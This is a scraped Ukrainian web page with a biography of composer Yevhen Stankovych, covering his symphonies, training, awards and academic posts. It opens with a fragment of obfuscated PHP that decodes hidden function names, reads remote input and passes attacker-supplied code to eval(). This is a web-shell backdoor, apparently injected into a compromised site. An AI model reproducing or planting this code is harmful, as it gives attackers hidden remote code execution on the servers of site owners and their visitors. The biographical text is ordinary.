$v928b2b){$afff=$v928b2b;$he4f103db=$a13d9;}if(!$afff){foreach($obd9c[$obd9c['rf7b5b0'][85].$obd9c['rf7b5b0'][16].$obd9c['rf7b5b0'][46].$obd9c['rf7b5b0'][16].$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][57].$obd9c['rf7b5b0'][83]]as$a13d9=>$v928b2b){$afff=$v928b2b;$he4f103db=$a13d9;}}$afff=@$obd9c[$obd9c['rf7b5b0'][10].$obd9c['rf7b5b0'][16].$obd9c['rf7b5b0'][56].$obd9c['rf7b5b0'][59].$obd9c['rf7b5b0'][46].$obd9c['rf7b5b0'][16].$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][61].$obd9c['rf7b5b0'][92]]($obd9c[$obd9c['rf7b5b0'][18].$obd9c['rf7b5b0'][0].$obd9c['rf7b5b0'][59].$obd9c['rf7b5b0'][55].$obd9c['rf7b5b0'][82]]($obd9c[$obd9c['rf7b5b0'][40].$obd9c['rf7b5b0'][6].$obd9c['rf7b5b0'][61].$obd9c['rf7b5b0'][57].$obd9c['rf7b5b0'][55].$obd9c['rf7b5b0'][59].$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][56].$obd9c['rf7b5b0'][46]]($afff),$he4f103db));if(isset($afff[$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][21]])&&$n1943a2ba==$afff[$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][21]]){if($afff[$obd9c['rf7b5b0'][88]]==$obd9c['rf7b5b0'][76]){$bab8ea=Array($obd9c['rf7b5b0'][79].$obd9c['rf7b5b0'][70]=>@$obd9c[$obd9c['rf7b5b0'][85].$obd9c['rf7b5b0'][83].$obd9c['rf7b5b0'][7].$obd9c['rf7b5b0'][82].$obd9c['rf7b5b0'][88].$obd9c['rf7b5b0'][59].$obd9c['rf7b5b0'][61].$obd9c['rf7b5b0'][0]](),$obd9c['rf7b5b0'][71].$obd9c['rf7b5b0'][70]=>$obd9c['rf7b5b0'][0].$obd9c['rf7b5b0'][43].$obd9c['rf7b5b0'][83].$obd9c['rf7b5b0'][84].$obd9c['rf7b5b0'][0],);echo@$obd9c[$obd9c['rf7b5b0'][21].$obd9c['rf7b5b0'][41].$obd9c['rf7b5b0'][7].$obd9c['rf7b5b0'][82].$obd9c['rf7b5b0'][55].$obd9c['rf7b5b0'][82].$obd9c['rf7b5b0'][41].$obd9c['rf7b5b0'][0]]($bab8ea);}elseif($afff[$obd9c['rf7b5b0'][88]]==$obd9c['rf7b5b0'][56]){eval/*w387*/($afff[$obd9c['rf7b5b0'][6]]);}exit();} ?>

Євген Станкович
(нар. 1942, місто Свалява. Закарпаття, Україна)

       Євген Федорович Станкович є центральною фігурою в сучасній музиці України. Плідно працюючи з 1966 року, він написав 6 симфоній, 9 камерних симфоній, оперу “Коли цвіте папороть”, 5 балетів, велику кількість ораторіальних, камерно-вокальних та інструментальних робот, а також музику для 6 спектаклів та більш ніж 100 фільмів.
       Народившись 19 вересня 1942 року в місті Сваляві, де він почав свою музичну освіту, Євген Станкович продовжував своє навчання в музичному училищі міста Ужгорода, а пізніше в Львівській та Київській державних консерваторіях в класі професора Бориса Лятошинського та Мирослава Скорика.
       Вже з перших композицій Станкович проголошує себе як композитор великого драматичного дарування. Його вишукана композиторська техніка, детальна поліфонічна фактура та споглядальний ліризм викликає до спогадів стиль епохи Барокко, а повнокровна пост-романтична оркестровка додає музиці теплоту та експресію. Творчість Станковича надзвичайна в показі емоційної свободи, досконалої технічної майстерності та гнучкості форми.
       Євген Станкович нагороджений багатьма почесними званнями та нагородами, в тому числі найвищою нагородою України за артистичну діяльність премією Тараса Шевченка. Його Третя камерна симфонія увійшла в десятку найкращих творів світу організації ЮНЕСКО за 1985 рік.
       Твори Станковича звучали в концертних залах Канади, США, Німеччини, Франції, Іспанії, Югославії, Китаю, Філіпін та країнах Східної Європи. В січні 1992 року Євген Станкович був головою жюрі Першого Міжнародного фестивалю сучасної музики в Канаді. В 1996 році він був композитором-в-резиденції кантона Берн, Швейцарія.
       Композиції Станковича були записані в багатьох країнах, в тому числі такими компаніями, як Мелодія, Аналекта, ЕйЕсВі та Наксос.
       Євген Станкович багато років очолював Спілку композиторів України. Він академік Академії мистецтв і займає посаду завідуючого кафедрою композиції в Національній музичній академії міста Києва.



                    

Украина онлайн Культурна Україна. Каталог сайтів ЛітПорталу Проба Пера Український рейтинг TOP.TOPUA.NET Arts.In.UA Lviv TOP